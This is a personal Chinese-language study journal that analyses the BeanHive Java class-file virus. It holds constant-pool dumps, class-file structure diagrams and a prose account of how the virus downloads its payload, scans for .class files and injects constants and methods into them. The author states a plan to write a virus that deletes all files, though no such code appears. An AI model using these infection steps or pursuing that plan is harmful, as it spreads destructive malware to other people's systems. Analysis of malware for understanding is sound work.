我靠/。。。。....

关键还有读懂所需要的c中声明的变量的含义,含义,,,呵呵。呵呵。。。。
变量,,猜测了。。。。
boolean isValid = false;我靠,这个变量一看就知道是什么来着,看是否有效,废话,什么有效??是这
个文件已经感染了,还是这个文件是个合格的.class文件来着。。。不晓得了 。还有哪种猜测呢??
int temp_return_pointer = 0;
int temp_m_access_flags;
int temp_m_name_index;
int temp_m_attr_count;
int temp_m_attribute_name;
int temp_m_attribute_length = 0;
int temp_m_code_length;
int temp_e_table_length;
int temp_e_start_pc;
int temp_e_end_pc;
int temp_e_handler_pc;
int temp_attr_count;
int temp_attr_pointer;
int temp_attr_length;
int temp_deleted;
int temp_offset;
byte temp_tail[];
想想啊
temp_m 加个m是干什么的呢??
是为了区分?不是这么简单的。不是/。。。
是两个东西。对了一个是他妈的什么感染,另一个是异常了。。m 是否指代main方法???
看来不行,我必须将虚拟机的东西给看了,才行类。。才行类。。。。
now i write it for nothing to report ..
i just want to know what to do next!
what ???
然后将十六进制的文件再转化为10进制的文件。。。仅仅如此。。。测试一下。。。。
他是将java编译为class 文件然后又分析class (字节码)分析出字节码的各个区域的内容,
既有利于要插入的代码的实体的文件的分析,又有利于对将要被插入客户的class文件的分解,
方便插入,于是他必须将class文件的框架相当熟悉。。必须相当熟悉。。。。
work......

字符传截取查看。:

loadClass  
(Ljava/lang/String;Z)Ljava/lang/Class;
Code
LineNumberTable
Exceptions
<init>
()V
SourceFile
VirusClassLoader.java
http://www.codebreakers.org/
BeanHive
D E..............
java/lang/ClassNotFoundException
java/net/URL
java/lang/StringBuilder
F G..............
class
H I..............
JKLMNOPQRSTU............
java/lang/Exception
VW................
java/lang/ClassFormatError
XY Z ...............
java/lang/Runnable
E...............
VirusClassLoader
java/lang/ClassLoader
findSystemClass
(Ljava/lang/String;)Ljava/lang/Class;
append
(Ljava/lang/String;)Ljava/lang/StringBuilder;
toString
()Ljava/lang/String;
(Ljava/lang/String;)V
openConnection
()Ljava/net/URLConnection;
getInputStream
()Ljava/io/InputStream;
getContentLength
()I
java/io/InputStream
read
([B)I
close
defineClass
)(Ljava/lang/String;[BII)Ljava/lang/Class;
resolveClass
(Ljava/lang/Class;)V
java/lang/Class
newInstance
()Ljava/lang/Object;
run

.! .......................
他妈的思维全都乱了,我靠,全都乱了。。。
但是,想想与人交流也是很不错了一种经历从中学到了很都的东西啊,很多。。。
我想都有好处,,,好处。。。。
测试完了,但是测试结果呢?/

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
----------------------------------------------------------------------------------------------------

LineNumberTable
VirusClassLoader.java
D E..............
java/lang/StringBuilder
F G..............
H I..............
JKLMNOPQRSTU............
VW................
XY Z ...............
E...............
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
run
.! .......................

在我的测试中找不到的字符串:
(Ljava/lang/String;)Ljava/lang/StringBuffer; 可能就是文件中的(Ljava/lang/String;)Ljava/lang/StringBuilder; 
编译时有了异常。。
(Ljava/lang/String;[BII)Ljava/lang/Class;的匹配问题是没有我的那个)号的.
已经测试到"Code"了,下来接着测试吧!!!!!!

找不到的字符传
LocalVariables
ConstantValue
Virus
BeanHive.java
java/lang/StringBuffer
java/net/URLConnection

而上面的就是多出的字符:
说明:
   带长长的............的就是截取的时候不确定是否属于的字符传,现在看来是不属于该类了。
   则剩下的就是
      LineNumberTable
  VirusClassLoader.java
  java/lang/StringBuilder
  VirusClassLoader
  (Ljava/lang/String;)Ljava/lang/StringBuilder;

为什么会多出这几个和少了几个呢??
----------------------------------------------------------------------------------------------------
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

似乎毫无进展,(错了,进展不小类,至少确定了那是16进制的东西)也是的仅仅是想着有了进展其实什么进展都没有,,,
思维偏差了。。。。
但是如何是好呢??如何??
我不太清楚的 。。
继续了。。。。
分析,下一步就是:两个工作。。
一是将那些16进制的再转换成10进制的然后再比较一下,
二是什么呢?是那个再准确的理解那个什么结构,几位的问题。到底是进几位到底是进几位。。。
进多少位的问题。。。。
分析透了,奶奶的没有时间的情况下就没有分析清楚的时候。。呵呵。。就这么类。。。。。

那些数字的编码:
    //--> constant_pool[1] CONSTANT_String
      8,          //08      //空
      0,          //00      //空格 
      61,         //3d     //= 
    //--> constant_pool[2] CONSTANT_String
      8,          //08
      0,          //00
      63,         //3f
    //--> constant_pool[3] CONSTANT_String
      8,          //08
      0,          //00
      77,         //4d       //M      有这么一块是07 00 4d(77)  //4d
    //--> constant_pool[4] CONSTANT_Class
      7,          //07
      0,          //00
      69,         //45    //E  
    //--> constant_pool[5] CONSTANT_Class
      7,          //07
      0,          //00
      78,         //4e     //N 
    //--> constant_pool[6] CONSTANT_Class
      7,          //07
      0,          //00
      79,         //4f    //O 
    //--> constant_pool[7] CONSTANT_Class
      7,          //07
      0,          //00
      80,         //50    //P
    //--> constant_pool[8] CONSTANT_Class
      7,          //07
      0,          //00
      81,         //51         //Q     有这么一块但是顺序是 00 51(81) 07 00
    //--> constant_pool[9] CONSTANT_Class
      7,          //07
      0,          //00
      82,         //52    //R 
    //--> constant_pool[10] CONSTANT_Class
      7,          //07
      0,          //00
      83,         //53  //S 
    //--> constant_pool[11] CONSTANT_Class
      7,          //07
      0,          //00
      84,         //54   //T 
    //--> constant_pool[12] CONSTANT_Class
      7,          //07
      0,          //00
      85,         //55   //U 
    //--> constant_pool[13] CONSTANT_Class
      7,          //07
      0,          //00
      86,         //56     //V 
    //--> constant_pool[14] CONSTANT_Class
      7,          //07
      0,          //00
      87,         //57   //W 
    //--> constant_pool[15] CONSTANT_Methodref
      10,         //0a
      0,          //00
      7,          //07
      0,          //00
      33,         //21
    //--> constant_pool[16] CONSTANT_Methodref
      10,         //0a
      0,          //00
      8,          //08
      0,          //00
      33,         //21
    //--> constant_pool[17] CONSTANT_Methodref
      10,         //0a
      0,          //00
      9,          //09
      0,          //00
      33,         //21
    //--> constant_pool[18] CONSTANT_Methodref
      10,         //0a
      0,          //00
      12,         //0c
      0,          //00
      34,         //22
    //--> constant_pool[19] CONSTANT_Methodref
      10,         //0a
      0,          //00
      13,         //0d
      0,          //00
      34,         //22
    //--> constant_pool[20] CONSTANT_Methodref
      10,         //0a
      0,          //00
      12,         //0c
      0,          //00
      35,         //23
    //--> constant_pool[21] CONSTANT_Methodref
      10,         //0a
      0,          //00
      5,          //05
      0,          //00
      36,         //24
    //--> constant_pool[22] CONSTANT_Methodref
      10,         //0a
      0,          //00
      8,          //08
      0,          //00
      37,         //25
    //--> constant_pool[23] CONSTANT_Methodref
      10,         //0a
      0,          //00
      8,          //08
      0,          //00
      38,         //26
    //--> constant_pool[24] CONSTANT_Methodref
      10,         //0a
      0,          //00
      14,         //0e
      0,          //00
      39,         //27
    //--> constant_pool[25] CONSTANT_Methodref
      10,         //0a
      0,          //00
      14,         //0e
      0,          //00
      40,         //28
    //--> constant_pool[26] CONSTANT_Methodref
      10,         //0a
      0,          //00
      8,          //08
      0,          //00
      41,         //29
    //--> constant_pool[27] CONSTANT_Methodref
      10,         //0a
      0,          //00
      6,          //06
      0,          //00
      42,         //31
    //--> constant_pool[28] CONSTANT_Methodref
      10,         //0a
      0,          //00
      13,         //0d
      0,          //00
      43,         //32
    //--> constant_pool[29] CONSTANT_Methodref
      10,         //0a
      0,          //00
      5,          //05
      0,          //00
      44,         //33
    //--> constant_pool[30] CONSTANT_Methodref
      10,         //0a
      0,          //00
      8,          //08
      0,          //00
      45,         //34
    //--> constant_pool[31] CONSTANT_InterfaceMethodref
      11,         //0b
      0,          //00
      11,         //0b
      0,          //00
      46,         //35
    //--> constant_pool[32] CONSTANT_Methodref
      10,         //0a
      0,          //00
      12,         //0c
      0,          //00
      47,         //2f
    //--> constant_pool[33] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      62,         //3e
      0,          //00
      53,         //35
    //--> constant_pool[34] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      62,         //3e
      0,          //00
      57,         //39
    //--> constant_pool[35] CONSTANT_NameAndType
      12,         //0e
      0,          //00
      71,         //47
      0,          //00
      56,         //38
    //--> constant_pool[36] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      72,         //48   //H 
      0,          //00
      53,         //35
    //--> constant_pool[37] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      73,         //49
      0,          //00
      59,         //3d
    //--> constant_pool[38] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      74,         //4a
      0,          //00
      55,         //37
    //--> constant_pool[39] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      75,         //4b
      0,          //00
      48,         //30
    //--> constant_pool[40] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      76,         //4c
      0,          //00
      49,         //31
    //--> constant_pool[41] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      88,         //58    //X 
      0,          //00
      55,         //37
    //--> constant_pool[42] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      89,         //59     //Y 
      0,          //00
      50,         //32
    //--> constant_pool[43] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      90,         //5a     //Z
      0,          //00
      52,         //34
    //--> constant_pool[44] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      91,         //5b
      0,          //00
      60,         //3c
    //--> constant_pool[45] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      92,         //5c
      0,          //00 
      54,         //36
    //--> constant_pool[46] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      93,         //5d
      0,          //00
      53,         //35
    //--> constant_pool[47] CONSTANT_NameAndType
      12,         //0c
      0,          //00
      94,         //5e
      0,          //00
      51,         //33

为何写个0x01呢?
因为每个字符串开始的时候是型如:...str的,而第一个.总是0x01,第二个.总是0x00第三个.总是~变化的,
呵呵,接下来就是str了(看着他妈的01 24 03 00 ... ... ... 找呀找呀找规律~~ ~~ )。

上面一大块应该是变量也就是const_pool的内容,而下面还有很大一块的... ..  . . . . .  . @.  !..... .. ..! ...什
么的应该是插入的方法了吧 ! 

先对上面的总结一下吧!
不是上边的是对那个小猪显示的内容总结一下吧!
单个字母前的.一定是0x00,到方法区的特殊字符前的.就不一定是0x00了,可能就在方法区的不为0x00,
可能方法区后面的还有一个区域。 那个00是结束的标志,还是中间加的一个分割幅,还是开始的标志副呢?
而结束的也只有
另外还有ANSI表。
为什么上升到8呢?
因为前4个是魔数,接着两个是次版本号,再两个是主版本号。总共8位。所以是应该是8,而且
这8位中不含什么“重要”信息了。。。。。。。
经测试得到,变量的总数是5e也就是94个。
我看到很奇怪的一个现象,有些人不去上课,搞的他们自学能得到的更多似的。。。。。。
他妈的他就是按照这个顺序来读取的。。。。。。。。。。。
现在完成了对某个代码的读取理解。。。。
知道了,他是按照那个顺序来写的。如果我要写,也得按照那个顺序。那感染性呢??
感染性如何解释?
如何创造感染性呢??
感染性。。。。。。。。。
还有,他在hash表中存储的是什么东西呢?那是他截取的short 和utf8,都最终成为了String的。
要用他验证是否有感染性吗?
一个难关算攻克了,下一步是什么呢??目的是我要写一个病毒的。。。我自己的那么这才是很长的一段路的很小一部分。。。。。

现在将那个病毒代码看完了,下一步是将代码的每行都写上注释。。。。。。。。。。。。。。
将注释的每一行构思自己的代码结构。。最终完成自己的代码。。
我的也就是直接删文件,,直接地删文件。。。。。。。。。。。。。
写个文件将他妈的所有的文件给删了,就行了。。我靠,我就不信我写不成一个病毒。。。。。

现在我要对每个文件的每行代码做注释了。
写在哪呢?
大纲:从BeanHiveApplet.java开始。也就是按照交用过程来叙述比较好一点。
先大体上描述一下。。。。。。。。。。。。。。。。。。。。。。。。。。。

对于一个类用到哪些东西呢???
api 文档,网上的相关资料。以及个人理解。
本注释保留的原作者的注释(英文),我添加的是中文注释,并对每个类及相关知识,以及代码的
流程为大家讲解一下。希望对对此感兴趣的人有帮助。。。。

注释comment

好,现在我看懂了。如何证明给别人看呢???
如何?第一,将注释贴出来。放在网上。
第二自己再写一个。将源码放在网上。
通过这个,我可以找到一个好工作。。
I have a plan ... ... 
两种路径,现在还不能告诉他,或他们。因为,现在还不是时候。等到我将所有的代码写出来的
时候就成了。分析一下,他的代码都是干吗的呢??分析一下。。。。
大脑中要有个清晰的构架。
清晰的构架。。。。。。。清晰的构架。等到我对这个代码了如执掌的时候,便可以随心所欲了。
他的执行路径是什么呢?
第一:病毒的执行过程,。。。。过程。。。。。。。。。。。
想:
BeanHive 的作用是
寻找并感染其他的class文件。当已经感染了路径中的某个文件之后,启动,那么他就会自行的感染
其他的文件。如何感染呢?由VirusClassLoader调用,VirusClassLoader首先会在文件系统中寻找
这个文件。若没有就会从作者的站点上下载。下载之后就会为BeanHive创建一个线程并运行他。
而BeanHive 的作用就是搜索文件和感染文件。于是,病毒的传播性就具备了。

而对于感染而言,主要是由e89a763c控制实现的。他判断被传递的.class文件是否具有了感染性。
若具有了就好了,(那操作是什么呢?没有)若没有就将其感染。
那么下来具体讲讲感染的过程:
感染分3步的:
第一步:找到相应的位置得到插入点的数据。
第二步:插入想要插入,所需的常量
第三步:插入方法。

关于第一步的具体细节:
找到相应的字节的插入点。涉及到的内容是,字符转换为16进制编码,class文件结构,16进制
与10进制的转换。其中字符转换为16进制编码的方式很容易的,我用的是小猪十六进制编辑器(java编
的),打开一个class文件之后,你会看到型如: 02 21 0a 4a ef e1 ... ... 的字符。不要小看这些
看似毫无章法的数字。我达到这一步用了好长时间呢。(他妈的,我不是在讲解的)。我不告诉你我是怎么想到的。
这一个重写。
关于第一步的具体细节:
找到相应的插入点。如何实现呢?
按照class文件的相应结构。具体是什么?
还要用到一个指针的对象。。
这个是他自己写的,关于RandomFileAccess的指针的对象。用他确定插入点已经到哪了。并随着文件的
读取相应的进位。
他是如何读取的呢?按照什么顺序读取的呢?
    ClassFile {
            u4 magic;               // 必须为: 0xCAFEBABE

            u2 minor_version;
            u2 major_version;       //CLASS文件结构主次版本号 JAVA2支持45.0-46.0
            
      u2 constant_pool_count; //记录常量信息
            cp_info constant_pool[constant_pool_count-1];   //计数从1开始

            u2 access_flags;        //class/interface访问权限

            u2 this_class;          //指向constant_poll中的有效索引值
            u2 super_class;         //0或指向constant_poll中的有效索引值,对于interface必须为非0
            
      u2 interfaces_count;    //superinterfaces的个数
            u2 interfaces[interfaces_count];  //计数[0,count-1) 对应constant_pool中的一个索引值

            u2 fields_count;
            field_info fields[fields_count];  //主要用于记录class及实例中的变量

            u2 methods_count;
            method_info methods[methods_count];

            u2 Attributes_count;
            attribute_info Attributes[Attributes_count];
    }

定义:   u1   1个字节为单位的非负值
        u2   2个字节为单位的非负值
        u3   . . . . . . . .  (其他以此类推 )

按照上面的顺序读取。。。。
并在读取时将指针推进。
对于上面的我不讲解了。读取相应的信息获取相应的数字。并加上要插入的数字个数。更改要更改的数字。
将需要的数字设为变量存储起来。方便插入。。。
第二步:插入变量池中的内容。
这个涉及到几个类型转换的过程。
第一,因为变量要插入到字节码中,所以,需要将数字转化为字节码,他妈的就是byte类型的就行了。int 
转换为byte,不需要考虑精度损失,因为,这些int类型的值并没有超出byte的范围。
第二,将字符转换为16进制的数字。
第三,将16进制的数字转化为10进制的数字。
这些就完成了一次循环的转换。
首先获取要插入的变量,如何获取要读取的变量呢?
如何获取呢??也是按照上面的方式来获取的。则必须要知道那些数字的方式了。。很清楚他们的结构。。

 _____________________________________________________________________________________________________________
 |  Magic high            |                                                                              |
 |  Magic low             |                CONSTANT Class info                                           |
 |  Minor version         |           |------|Tag        |                                               |
 |  Magor version         |   ______ _|___   |Name index |                                               |
 |  Constant pool count   | / Tag 0 |Info |   -----------                                                |
 |  constant pool 0       |/  Tag 1 |Info |--->... ...                                                   |
 |   ...    ...           |    ...  |...  |                                                              |
 |  Constant pool n       |\   ...  |...  |                                                              |
 |  Access flags          | \ Tag n |Info |  CONSTSNT Fieldref info                                      |
 |  This class            |   --------|---     ____________________                                      |
 |  Super class           |           |------->|Tag                |                                     |
 |  Interfaces count      |                    |Class index        |                                     |
 |  Interfaces 1          |                    |Name and Type index|                                     |
 |   ...    ...           |   ________________  --------------------                                     |
 |  Interfaces n          |  /Access flags    | Constant vlaue attribute____                             |
 |  Fields count          | / Name index      | +->|Attributes name index  |                             |
 |  Fields 0              |   Attributes count| |  |Attributes length high |                             |
 |   ...    ...           |   Attributes 0    |-+  |Attributes length low  |                             |
 |  Fields n              | \  ... ...  ..    |--| |Constant value index   |                             |
 |  Methods count         |  \Attributes n    |  | -------- ---------------|                             |
 |  Methods 0             |   -----------------  +---> ...                                               |
 |   ...    ...           |--> ... Code attribute_____________________                                   |
 |  Methods n             |----------------->|Attribute name index   |  Exception_______                 |
 |  Attributes count      |                  |Attribute length high  ||--> |Start pc   |                 |
 |  Attributes 0          |                  |Attribute length low   ||    |End pc     |                 |
 |   ...    ...           |                  |Max stack              ||    |Handler pc |                 |
 |  Attributes n          +--|               |Max locals             ||     -----------                  |
 |  ----------------------|  |               |Code length high       ||     ...                          |
 |                           |               |Code length low        ||   Line Number Table attribute    |
 |  _______________________  |               |Code 0                 || |->|Attribute name index    |    |
 |  Source file attribute |  |               |...  ...               || |  |Attribute length high   |    |
 |  *Attribute name index |<-|               |Code n                 || |  |Attribute length low    |    |
 |  *Attribute length high|                  |Exception table length || |  |Line name table length  |    |
 |  *Atrribute length low |                  |Exception 0            || |  |Line names 0            |    |
 |  *Source file index    |                  | ...  ...              || |  | ...  ....              |    |
 |  -----------------------                  |Exception n            |- |  |Line names n            |    |
 |                                           |Attribute count        |  |  --------|----------------     |
 |                                           |Attribute 0            |--           |   Line name table   |
 |                                           | ...  ...              |             V                     |
 |                                           |Attribute n            |      | Start pc   |               |
 |                                            ------------------------      | Line number|               |
 |                                                                           ------------                |
 |___________________________________________________________________________________________________________|

得到数据,得到数据。。。。。。。。。。。。。。。。。
那么他有两种形式,第一,按照所有的数据存储到constant_pool中,并在其中存储了两位的信息,
第一是tag第二是info对于info又有tag和其他的info.那么如何存储这些呢,在内存中?
第一中是在constant中存储所有的数据,
一个类中的数据是??
如何提取,让我用自己的话说出来。!!
根据class文件的特点。前8个是去掉的,接两位是cp_count,然后是什么来着,要提取的内容了。

hash.get(hash.get(new Integer(temp_super_class))).equals("java/lang/Object")
hash.get(new Integer(temp_super_class))

我还有很远没走类,很远。。。
变量变量变量。

Methods的区域解析。

Methods {
  Methods count
   Methods 0
  Methods 1
   ....  ..
  Methods n
}

Methods n
Code attribute{
  Attribute name index
  Attribute length high 
  Attribute length low
  Max statck
  Max locals
  Code length high
  Code length low
  Code 0
  .... ..
  Code n
  Exception table length
  Exception 0
   ... ...
  Exception n
  Attribute count
  Attribute 0
   ... ...
  Attribute n
}

Exception n
Exception{
  Start pc
  End pc
  Handler pc
}

Attribute n
Line Number Table attribute{
  Attribute name index
  Attribute length high
  Attribute length low
  Line name table length
  Line names 0
   ... ...  ..
  Line names n 
}

Line names n
Line name table{
  Start pc
  Line number
}

Attribute 的区域解析

Attribute
Attribute {
  Attribute count
  Attribute 0 
  Attribute 1
   ... ... ..
  Attribute n
}

Attribute n
Source file attribute {
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index
}

试着将Methods 区域的转化一下:

Methods {
  Methods count
    /**   start Method 0  {Code attribute}    **/
      //Code attribute 
  Attribute name index
  Attribute length high 
  Attribute length low
  Max statck
  Max locals
  Code length high
  Code length low
  Code 0
  .... ..
  Code n
  Exception table length
        // start Exception 0 in M0_CA
  //*******{Excetion}********//
  Start pc
  End pc
  Handler pc
    // end Exception 0 in M0_CA

        // start Exception 1 in M0_CA
  //*******{Excetion}********//
  Start pc
  End pc
  Handler pc
    // end Exception 1 in M0_CA

        // start Exception .. in M0_CA
  //*******{Excetion}********//
  Start pc
  End pc
  Handler pc
    // end Exception .. in M0_CA

        // start Exception n in M0_CA
  //*******{Excetion}********//
  Start pc
  End pc
  Handler pc
    // end Exception n in M0_CA

     Attribute count
  // start Attribute 0 in M0_CA
  //******{ Line Number Table attribute }******//
  Attribute name index
  Attribute length high
  Attribute length low
  Line name table length
  // Start Line names 0 in M0_CA_ATTR0
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 0 in M0_CA_ATTR0
        
  // Start Line names 1 in M0_CA_ATTR0
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 1 in M0_CA_ATTR0

  // Start Line names .. in M0_CA_ATTR0
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names .. in M0_CA_ATTR0

  // Start Line names n in M0_CA_ATTR0
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names n in M0_CA_ATTR0

  // start Attribute 1 in M0_CA
  //******{ Line Number Table attribute }******//
  Attribute name index
  Attribute length high
  Attribute length low
  Line name table length
  // Start Line names 0 in M0_CA_ATTR1
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 0 in M0_CA_ATTR1
        
  // Start Line names 1 in M0_CA_ATTR1
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 1 in M0_CA_ATTR1

  // Start Line names .. in M0_CA_ATTR1
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names .. in M0_CA_ATTR1

  // Start Line names n in M0_CA_ATTR1
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names n in M0_CA_ATTR01

  // start Attribute .. in M0_CA
  //******{ Line Number Table attribute }******//
  Attribute name index
  Attribute length high
  Attribute length low
  Line name table length
  // Start Line names 0 in M0_CA_ATTR..
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 0 in M0_CA_ATTR..
        
  // Start Line names 1 in M0_CA_ATTR..
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 1 in M0_CA_ATTR..

  // Start Line names .. in M0_CA_ATTR..
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names .. in M0_CA_ATTR..

  // Start Line names n in M0_CA_ATTR..
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names n in M0_CA_ATTR..

  // start Attribute n in M0_CA
  //******{ Line Number Table attribute }******//
  Attribute name index
  Attribute length high
  Attribute length low
  Line name table length
  // Start Line names 0 in M0_CA_ATTRn
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 0 in M0_CA_ATTRn
        
  // Start Line names 1 in M0_CA_ATTRn
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names 1 in M0_CA_ATTRn

  // Start Line names .. in M0_CA_ATTRn
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names .. in M0_CA_ATTRn

  // Start Line names n in M0_CA_ATTRn
  //*******{ Line name table }*******//
  Start pc
  Line number
  // end of Line names n in M0_CA_ATTRn

}

Attribute 的区域解析

Attribute
Attribute {
  Attribute count
  Attribute 0 
  Attribute 1
   ... ... ..
  Attribute n
}

Attribute n
Source file attribute {
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index
}

将Attribute 的转化一下。

Attributes{
    
  Attributes count;
    // Start Attribute_0
  //******{Source file attribute}******//
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index 
    // End Attribute_0

    // Start Attribute_1
  //******{Source file attribuet}******//  
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index
    // End Attribute_1

        // Start Attribute_..
  //******{Source file attribuet}******//  
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index
    // End Attribute_..

    // Start Attribute_n
  //******{Source file attribuet}******//  
  Attribute name index
  Attribute length high
  Attribute length low
  Source file index
    // End Attribute_n

}

更详细的请参看Methods&Attribute转化内存存储顺序.doc。
他的文件的调用顺序:

e 调用 c virusinvoke的insert(int temp_m_count, int temp_m_pointer, int delta_offset,
           RandomAccessFile temp, a98b34f2 ptr, Hashtable hash)
          调用时的变量insert(temp_m_count,temp_m_pointer,delta_offset,temp,ptr,hash)

e 调用 d virusmethod的insert(int temp_m_count_pointer, int temp_m_count, 
           int temp_m_pointer, int delta_offset,RandomAccessFile temp,a98b34f2 ptr)
          调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
           temp_this_class,temp_super_class,temp,ptr)

e 调用 b virusconst 的insert(int temp_cp_count, int temp_cp_pointer, int delta_offset,
           int temp_this_class, int temp_supper_class, RandomAccessFile temp,
           a98b34f2 ptr)
          调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
           temp_this_class,temp_super_class,temp,ptr)

而a98b34f2相当于一个工具类存在,用于传递指针的位置,因为他可以new 一个a98b34f2新对象,而没有所以猜测他的指针位置
一直保存着,也就是内存中的a98b34f2这个对象没有改变。

BeanHive 调用 e vstart的poke(File entry)

Main 调用 virusClassLoader

virusClassLoader 下载BeanHive类。

BeanHive 的两个重要动作:1. 获取当前目录中的.class文件 
       2. 调用e vstart的poke(File entry)将得到的.class文件作为参数传进去。

在e 中声明了所有的在调用b c d时用的变量。若想彻底弄清楚到底 b c d干了什么就要将在e poke()方法中声明的
1.变量含义 2.传递时的具体指代 弄清楚。
+-----------
$ 类变量    
+-----------
  hash                      ---- Hashtable类型
      hash中存储的值有两种,1. int 2. String
      int      是读到类的时候存储进去的  ┓   
      String   是读到Utf8的时候存储进去的┻ 其中存储到其中的值的键都为cp中的位置
  temp                      ---- RandomAccessFile类型

+-----------
$ 方法变量  
+-----------

  temp_magic                            ---- u4 要被感染的.class文件的魔数
  temp_cp_count                         ---- u2 要被感染的.class文件的 constant_pool_count
  temp_cp_pointer                       ---- int值,标志读取或写的指针位置
  delta_offset                          ---- 
  temp_access_flags                     ---- u2 这个文件(类或接口)的访问权限
  temp_this_class                       ---- u2 转向this_class类型解析
  temp_super_class                      ---- u2 转向super_class类型解析
  temp_interfaces                       ---- 转向interface类型解析
  temp_fields                           ---- 转向temp_fields类型解析
  temp_m_count_pointer                  ---- m指代Methods数量的指针下标
  temp_m_count                          ---- 指代 Methods 的数量
  temp_m_pointer                        ---- 指代 Methods 的下标
  isInvalid                             ---- boolean 类型,作者的上下文中的这个字段的含义可能不太明确,
               时而更改。

根据上下文可以确定temp字段代表的是传入的文件,也就是要被感染的文件。

对于temp_interfaces的分析。涉及到temp_super_class。

interfaces区域解析,内存字节码存储方式。

interface {

  interface_count                   //-----    u2
  interface 0                       //-----    u2
  interface 1                       //-----    u2
  interface ..                      //-----    u2
  interface n                       //-----    u2

}
因为参数的传递中没用到temp_interface,所以对interface中的存储内容不再深究,
和super_class应相似的。

super_class 区域解析,字节码存储方式。

super_class{
  super_class                       //-----    u2
}

super_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存超类名,在info内保存形式和类名相同。

分析temp_this_class
this_class 区域解析,字节码存储方式
this_class{
  this_class                        //-----    u2
}

this_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存类或接口名。
例如类名为com.sum.java.swing.SwingUtitlities2在info保存为com/sum/java/swing/SwingUtitlities2
-------------------------this means: it is a String !  (y/n)?

temp_fields解析

Fields {
  Fields count                           // ---- 记录域的数量
   Fields 0                               // ---- 第一个域
   ...  ..                              
  Fields n                               // ---- 第n个域 
}

Field_info

Field.n {

  Access_flags                           // ---- u2 域修饰符掩码
  Name_index                             // ---- u2 域名在常数表内的索引
  Descriptor_index                       // ---- u2 域的描述符,其值是常数表内的索引
  Attributes_count                       // ---- u2 域的属性个数
  Attributes 0                           // ----    
   ... ...  ..                           // ----
  Attributes n                           // ---- 
}

Constant value attribute

Attribute n{

  Attribute name index                   // ---- u2 常数表内索引
  Attribute length high                  // ---- u2 属性长度┓
  Attribute length low                   // ---- u2 属性长度┻可合并为一个Attribute length u4
  Constantvalue_index                 // ---- u2  常数表内索引,保存域的值

}

试着将其解释一下:

Fields{
  Fields count                           // ---- u2 记录域的数量    
  // Start Field 0                        
  //*******{ Field_info }*******//  
  Access_flags                           // ---- u2 域修饰符掩码,访问控制权
  Name_index                             // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
  Descriptor_index                       // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
  Attributes_count                       // ---- u2 域的属性个数
  //**Start Attribute 0
  Attribute name index                   // ---- u2 常数表内索引
  Attribute length                       // ---- u2 属性长度
  Constantvalue_index                    // ---- u2  常数表内索引,保存域的值
  // End of Attribute 0 **//

  //**Start Attribute ..
  Attribute name index
  Attribute length high
  Constantvalue_index
  // End of Attribute ..**//

  //**Start Attribute n
  Attribute name index
  Attribute length high
  Constantvalue_index
  // End of Attribute n **//
        // End of Field 1
  
          :::::: ::::::

  // End of Field n 
   
}

 field_info中access_flages意义如下:
 
      ACC_PUBLIC     0x0001
      ACC_PRIVATE    0x0002
      ACC_PROTECTED  0x0004
      ACC_STATIC     0x0008
      ACC_FINAL      0x0010
      ACC_VOLATILE   0x0040
      ACC_TRANSIENT  0x0080

      其中很显然不能同时为ACC_FINAL和ACC_VOLATILE 且前三项是互斥的。                   
      interface必须置ACC_PUBLIC, ACC_STATIC,ACC_FINAL位,且不能置其他位。              
      其他未指明的位保留将来使用,并且编译器应当将其置为0,同时Java虚拟机应当忽略他们。

temp_m_count
显然对于temp_Methods已经解释的很清楚了。

hash解析

hash是从截取的

temp解析

其中使用的有一个对象,也就是temp,所有的操作都在temp上进行。

试着解析constant_pool

constant_pool{
  constant_pool_count
  constant_pool_info
}

constant_pool_info{
  tag 
  info[]
}

tag 意义如下:

